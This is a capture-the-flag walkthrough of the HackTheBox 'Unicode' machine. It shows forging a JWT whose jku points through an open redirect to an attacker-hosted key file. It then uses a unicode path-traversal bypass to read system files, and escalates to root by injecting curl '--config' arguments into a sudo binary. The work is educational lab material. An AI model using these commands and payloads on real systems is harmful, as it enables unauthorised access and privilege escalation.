Unicode from HackTheBox — Detailed Walkthrough

Showing all the tools and techniques needed to complete the box.

Pencer
InfoSec Write-ups

--

Machine Information

Unicode from HackTheBox

Unicode is a medium machine on HackTheBox. Our initial scan finds a simple website to investigate, and from there we discover the use of an interesting JSON Web Token. Using JWT Tools we decode and then craft our own token to gain admin access to a dashboard. In there we use a unicode filter bypass to leak data through a local file inclusion vulnerability, leading to access to the box via SSH. Escalation to root is using a binary we find to be vulnerable via misuse of curl parameters.

Skills required are a basic understanding of JSON Web Tokens. Skills learned are using JWT Tools to manipulate and then create malicious tokens.

Initial Recon

As always let’s start with Nmap:

Nmap scan of the box

Just two open ports. No clue to host name so try IP first:

Hackmedia website

Nothing here, just a static site. Interestingly there’s a big button in the middle that says “Google about us”. Looking at the URL we see a subpage called redirect:

http://10.10.11.126/redirect/?url=google.com

Create User

With nothing to look at let’s try registering an account:

Sign up form

I tried to create an account called admin but we see it already exists. This is interesting for later, let’s create something else:

Register a new user

After logging in as our new user we end up here:

Dashboard on Hackmedia site

JSON Web Token

There’s a couple of pages to look at, but nothing obvious. Let’s look at the headers using curl:

┌──(root💀kali)-[~/htb/unicode]
└─# curl -i -s -k -X POST -d 'username=pencer&password=password' 'http://10.10.11.126/login/'
HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 16 Dec 2021 21:19:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 228
Connection: keep-alive
Location: http://10.10.11.126/dashboard/
Set-Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoicGVuY2VyIn0.LNZiXwlqLXTJ18nTKztpy2x0svtVyTw1YX_YuINoU8sG2VKOaAF_3SW0hffM2vN9_6tYYJBbd6Fh2qFR01jd5-bWBk_0Smy59nttPHqn2Rh2IqiKsDbqOqL5jJpSAYeKEXdBWRW2_z6XePj11z6dDqc5YupoDuJzC_B705sib_gB9c9Nf2SphTfU-vckDw3Ghw74y3nibr-QJNSDohUTOGWZT-satIYVQJvBxCyY1BBCWxzpAbhO9dFtBUQcsLDWg9iw-lke7i2YVjfGCld1ChfuqrK2q-EzTiPQ6GrqhDwkBFPA0MJ6otyt61j0PLe8ELpgZKO6_0IO6l3uDaHADw; Path=/

JWT Tool

The cookie returned is easily recognisable as a JSON Web Token (JWT). This is a good introduction to the concepts. We covered JWT in another box called Secret, on that one I used the JWT toolkit by Ticarpi. Let’s use it again for this box, first download the script:

┌──(root💀kali)-[~/htb/unicode/test]
└─# wget https://raw.githubusercontent.com/ticarpi/jwt_tool/master/jwt_tool.py
--2021-12-15 22:16:32-- https://raw.githubusercontent.com/ticarpi/jwt_tool/master/jwt_tool.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133....
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 99348 (97K) [text/plain]
Saving to: ‘jwt_tool.py’
jwt_tool.py 100%[====================================>] 97.02K --.-KB/s in 0.03s
2021-12-15 22:16:33 (3.33 MB/s) - ‘jwt_tool.py’ saved [99348/99348]

Run the script once without parameters to create the initial config and files:

┌──(root💀kali)-[~/htb/unicode]
└─# python3 jwt_tool.py

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.4 \______| @ticarpi

No config file yet created.
Running config setup.
Configuration file built - review contents of "jwtconf.ini" to customise your options.
Make sure to set the "httplistener" value to a URL you can monitor to enable out-of-band checks.

We now have a public and private keys created, along with our own jwks.json file:

┌──(root💀kali)-[~/htb/unicode]
└─# ll
total 232
-rw-r--r-- 1 root root 1879 Dec 15 22:13 jwtconf.ini
-rw-r--r-- 1 root root 507 Dec 15 22:13 jwttool_custom_jwks.json
-rw-r--r-- 1 root root 240 Dec 15 22:13 jwttool_custom_private_EC.pem
-rw-r--r-- 1 root root 1674 Dec 15 22:13 jwttool_custom_private_RSA.pem
-rw-r--r-- 1 root root 177 Dec 15 22:13 jwttool_custom_public_EC.pem
-rw-r--r-- 1 root root 450 Dec 15 22:13 jwttool_custom_public_RSA.pem
-rw-r--r-- 1 root root 99348 Dec 15 22:13 jwt_tool.py

Decode JWT

These will be used as we craft our JWT payload. We can decode the cookie we received to check the contents:

root@kali:~/htb/unicode# python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoicGVuY2VyIn0.LNZiXwlqLXTJ18nTKztpy2x0svtVyTw1YX_YuINoU8sG2VKOaAF_3SW0hffM2vN9_6tYYJBbd6Fh2qFR01jd5-bWBk_0Smy59nttPHqn2Rh2IqiKsDbqOqL5jJpSAYeKEXdBWRW2_z6XePj11z6dDqc5YupoDuJzC_B705sib_gB9c9Nf2SphTfU-vckDw3Ghw74y3nibr-QJNSDohUTOGWZT-satIYVQJvBxCyY1BBCWxzpAbhO9dFtBUQcsLDWg9iw-lke7i2YVjfGCld1ChfuqrK2q-EzTiPQ6GrqhDwkBFPA0MJ6otyt61j0PLe8ELpgZKO6_0IO6l3uDaHADw

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.4 \______| @ticarpi
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "RS256"
[+] jku = "http://hackmedia.htb/static/jwks.json"

Token payload values:
[+] user = "pencer"
----------------------

We see the user we created, we also see a JKU set for a hostname of hackmedia.htb. This covers hacking JWT and JKU concepts, but basically the jwks.json file is a set of JSON encoded public keys that were used to digitally sign our JWT we received as the cookie.

Let’s add hackmedia to our hosts file then have a look at the jwks.json file:

┌──(root💀kali)-[~/htb/unicode/test]
└─# echo "10.10.11.126 hackmedia.htb" >> /etc/hosts

┌──(root💀kali)-[~/htb/unicode]
└─# curl http://hackmedia.htb/static/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-
UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_
DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}

Verify JWT

This public file is used to verify our JWT, we can test it locally:

┌──(root💀kali)-[~/htb/unicode/test]
└─# python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoicGVuY2VyIn0.LNZiXwlqLXTJ18nTKztpy2x0svtVyTw1YX_YuINoU8sG2VKOaAF_3SW0hffM2vN9_6tYYJBbd6Fh2qFR01jd5-bWBk_0Smy59nttPHqn2Rh2IqiKsDbqOqL5jJpSAYeKEXdBWRW2_z6XePj11z6dDqc5YupoDuJzC_B705sib_gB9c9Nf2SphTfU-vckDw3Ghw74y3nibr-QJNSDohUTOGWZT-satIYVQJvBxCyY1BBCWxzpAbhO9dFtBUQcsLDWg9iw-lke7i2YVjfGCld1ChfuqrK2q-EzTiPQ6GrqhDwkBFPA0MJ6otyt61j0PLe8ELpgZKO6_0IO6l3uDaHADw -V -jw jwks.json

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.4 \______| @ticarpi

JWKS Contents:
Number of keys: 1
-------- Key 1
kid: hackthebox
[+] kty = RSA
[+] use = sig
[+] kid = hackthebox
[+] alg = RS256
[+] n = AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju
-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF
_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs
[+] e = AQAB

Found RSA key factors, generating a public key
[+] kid_hackthebox_1639691778.pem

Attempting to verify token using kid_hackthebox_1639691778.pem
RSA Signature is VALID

At this point we have taken the cookie created by logging in with our user account on the box, we’ve downloaded the public jwks.json file, and verified that the RSA signature is valid.

We want to create a new token that we can use to log in to the hackmedia dashboard as admin, because we found earlier that an account called that already exists. First let’s rename the custom jwks.json file and start a webserver so we can get to it:

┌──(root💀kali)-[~/htb/unicode]
└─# mv jwttool_custom_jwks.json jwks.json

┌──(root💀kali)-[~/htb/unicode]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Tamper JWT

Next we will tamper the cookie so the user is admin. We also need to redirect the JKU check so it uses the custom one created by the jwt tool that we are hosting here on Kali. We then need to sign the token again so the signature is valid. We can use the key pair created by jwt_tool to do that:

┌──(root💀kali)-[~/htb/unicode/test]
└─# root@kali:~/htb/unicode# python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoicGVuY2VyIn0.LNZiXwlqLXTJ18nTKztpy2x0svtVyTw1YX_YuINoU8sG2VKOaAF_3SW0hffM2vN9_6tYYJBbd6Fh2qFR01jd5-bWBk_0Smy59nttPHqn2Rh2IqiKsDbqOqL5jJpSAYeKEXdBWRW2_z6XePj11z6dDqc5YupoDuJzC_B705sib_gB9c9Nf2SphTfU-vckDw3Ghw74y3nibr-QJNSDohUTOGWZT-satIYVQJvBxCyY1BBCWxzpAbhO9dFtBUQcsLDWg9iw-lke7i2YVjfGCld1ChfuqrK2q-EzTiPQ6GrqhDwkBFPA0MJ6otyt61j0PLe8ELpgZKO6_0IO6l3uDaHADw -I -hc jku -hv http://hackmedia.htb/static/../redirect/?url=10.10.14.241/jwks.json -pc user -pv admin -S rs256 -pr jwttool_custom_private_RSA.pem

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.4 \______| @ticarpi

jwttool_2e549bdf823847e163cdb9fb301aed1a - Tampered token - RSA Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjI0MS9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiYWRtaW4ifQ.jRPqqWUrVKo4AHWZ6CbCmV-uQbtC9OB_4vIQkrOdB2SZhGXLcBmFMujcz5TkidarraSThjFjpXsNDtacW6h4q8lcFu6ePOqKFErh33dItW5LKEIQrAZTZ2oL6s8kEisYYEPKEfn3m_M0fYZZL4knj8_Hq70LDg0GhW9pJy4GZouMYKNf-ILY9IDavVpg6b-S2t6l0ALEya5AdHdbh3ChMeDduikaeaL_s_r7xPtguXFttYA37bqNgbeREZE8AifJhA9Q-jlMTay3OyjBFXT-diLHIvqGEwWnIkbXHX_lH97Eomv3hDhNJ-pv30FgGXRttwS_aOvth3sCre0fHUVqJQ

To break those parameters down a little:

JWT Tool parameters

Insert JWT In Browser

We see the tool gave us a new token that is tampered and then signed. Copy that and go back to our web browser where we are still logged in to the hackmedia dashboard as the user we created. Replace the cookie in our browser by pressing Shift+F9 or going to Web Developer then Storage Inspector:

Replace cookie in browser

Dashboard

After pasting our newly crafted token in to the value field we can refresh the page and we’ll see we are now admin:

The only thing here is two links on the side for saved reports. Clicking one takes us to a page that says:

The Report is being prepraed. Please comeback later.

Looking at the URL we see this:

http://hackmedia.htb/display/?page=quarterly.pdf

A URL parameter, if we try and tamper like this:

http://hackmedia.htb/display/?page=../../../etc/passwd

We get a 404 file not found error with this message:

we do a lot input filtering you can never bypass our filters. Have a good day

Unicode Filter Bypass

A challenge! A clue is in the name of the box, using this helpful guide we can bypass the filter using unicode equivalence. This is the part we’re interested in:

Path traversal examples

Using the character that looks like a colon we can grab the passwd file:

Use local file inclusion to read passwd file

After a bit of enumeration I looked at the nginx.conf file:

Contents of nginx.conf file

We see more config files mentioned, looking in modules-enabled we find something interesting:

Contents of modules-enabled file

There’s a comment saying change the user password from db.yaml. We also see the location is /home/code/coder as the root. If we look at that file we get credentials:

Credentials found in the db.yaml file

SSH Access

We find that password has been reused for SSH as well:

root@kali:~/htb/unicode# ssh code@hackmedia.htb
code@hackmedia.htbs password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
code@code:~$

User Flag

Let’s grab the user flag first:

code@code:~$ cat user.txt 
fc82d29ddf1fdf62037b4e9443c03a31

As usual one of the first things to check is sudo rights:

code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport

Let’s see what treport does:

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:1
Enter the filename:test
Enter the report:test
Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_16_40_45
threat_report_16_41_22
threat_report_16_54_00
threat_report_16_25_52
threat_report_16_21_31

Enter the filename:threat_report_16_40_45
<!doctype html>
<html lang="en" class="h-100">
<head>

So I can create and read a report, but I couldn’t find a way to exploit that. The third option asks for an IP and file name:

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:10.10.11.126/test
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9294 100 9294 0 0 3025k 0 --:--:-- --:--:-- --:--:-- 3025k
Enter your choice:10.10.11.126/test
Wrong Input

I see from the output that curl is being used to download the file.

Privilege Escalation

This took a while but eventually I found we can use curly brackets to pass a parameter to curl. We can use the config switch to read a file in, here from the manual:

-K, --config <file>
Specify a text file to read curl arguments from. The command
line arguments found in the text file will be used as if they
were provided on the command line.

Example:
curl --config file.txt https://example.com

Root Flag

This allows us to bypass the check for a URL/IP and instead read the file specified:

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: '5423cd0f9bd8573d133fee91e5550b66' is
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information

That was a fairly tricky box. I hope you enjoyed this walkthrough.

See you next time.

If you liked this article please leave me a clap or two (it’s free!)

Twitter — https://twitter.com/pencer_io
Website — https://pencer.io

Originally published at https://pencer.io on May 13, 2022.

--

--

Eat. Sleep. Hack. Repeat. I like hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.